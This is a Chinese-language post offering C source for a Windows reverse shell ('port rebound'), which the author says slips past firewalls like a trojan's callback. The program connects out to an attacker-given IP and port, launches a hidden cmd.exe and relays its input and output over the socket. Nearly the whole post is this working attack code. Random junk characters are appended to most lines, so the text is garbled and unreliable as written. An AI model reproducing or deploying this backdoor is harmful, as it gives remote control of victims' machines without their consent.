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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f^B8!EY#:  
DX>LB$dy?  
/* ============================== uhfK\.3  
Rebound port in Windows NT {\`tt c>  
By wind,2006/7 D!,5j_,j%  
===============================*/ K}re{y  
#include |kPgXq6  
#include |7c],SHm  
-EP1Rl`\  
#pragma comment(lib,"wsock32.lib") M*gvYo  
ue@/o,C>  
void OutputShell(); Yp;Z+!!UZ  
SOCKET sClient; scH61Y8`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /g{*px|  
="& GU%$  
void main(int argc,char **argv) 5.{=Op!  
{ AYfOETz  
WSADATA stWsaData; Cy$~H  
int nRet; [#uhMn^  
SOCKADDR_IN stSaiClient,stSaiServer; 49=pB,H;H  
}={@_g#  
if(argc != 3) 8fP2qj0  
{ ^7aqe*|vm  
printf("Useage:\n\rRebound DestIP DestPort\n"); *P=3Pl?j  
return; 5S!#^>_  
} Ba m.B6-  
pJ/]\>#5  
WSAStartup(MAKEWORD(2,2),&stWsaData); qr%N /7  
)y*&&q   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *mp:#'  
$5 mGYF]  
stSaiClient.sin_family = AF_INET; Tty'ysH  
stSaiClient.sin_port = htons(0); yO)xN=o^\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }? / Blr  
lz#.f,h  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7gf(5p5ZV  
{ q=88*Y  
printf("Bind Socket Failed!\n"); #ay/VlD@  
return; NgyEy n \  
} QvZ"{  
FJtmRPP[r  
stSaiServer.sin_family = AF_INET; _`? cBu`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1*hEbO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _dd! nU\A|  
kiM:(=5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LP#wE~K"b  
{ Eu(Qe ST\  
printf("Connect Error!"); U| Fqna  
return; v3Vve:}+  
} G]rY1f0  
OutputShell(); MygAmV&  
} 9 fB|e|  
' 9f0UtT|[  
void OutputShell() JyE-c}I  
{ xcW\U^1d  
char szBuff[1024]; #G]IEO$M6  
SECURITY_ATTRIBUTES stSecurityAttributes; 5eff3qrH{  
OSVERSIONINFO stOsversionInfo; BC.3U.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p"%D/-%Gu  
STARTUPINFO stStartupInfo; qBBCnT  
char *szShell; 0QZT<Zs  
PROCESS_INFORMATION stProcessInformation; X|{Tljn  
unsigned long lBytesRead; )]C]KB  
rk1,LsZVS  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hc q&`Gun  
%oa@2qJ^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WBWW7HK  
stSecurityAttributes.lpSecurityDescriptor = 0; ]?=87w  
stSecurityAttributes.bInheritHandle = TRUE; ,1mL=|na  
p\ =T#lb  
uG7]s]Wdz;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wx3_?8z/O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <K^a2 D  
' J@J$#6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >(a35 b$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LhLAQ2~  
stStartupInfo.wShowWindow = SW_HIDE; ; H ;h[  
stStartupInfo.hStdInput = hReadPipe; /lC# !$9vz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _rYW|*cIF  
h-ii-c?R@0  
GetVersionEx(&stOsversionInfo); r!Dk_| Cd  
Hdew5Xn(:  
switch(stOsversionInfo.dwPlatformId) -yqgs>R(d  
{ A3/[9}(U  
case 1: gDU!dT  
szShell = "command.com"; *`+zf7-f  
break; EX_j|/&tZ  
default: LMoZI0)x  
szShell = "cmd.exe"; ~NK $rHwi%  
break; rlKR <4H  
} Y ]()v  
!j'LZ7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5T#v &  
} KyoMs  
send(sClient,szMsg,77,0); ?]D&D:Z?I  
while(1) <CuUwv 'A  
{ k)I4m.0a5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7/~=[#]*  
if(lBytesRead) ;VKWY  
{ *?t$Q|2Xr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b+qd' ,.Z  
send(sClient,szBuff,lBytesRead,0); 2JK '!Ry)  
} s_y8+BJaV  
else nIg 88*6b,  
{ +w]#26`d  
lBytesRead=recv(sClient,szBuff,1024,0); Cik1~5iF  
if(lBytesRead<=0) break; X,w X)9]J  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }BC%(ZH6  
} [>v1JN  
} Cqnuf5e>L  
aH. "| *.  
return; 1=J& ^O{W  
}
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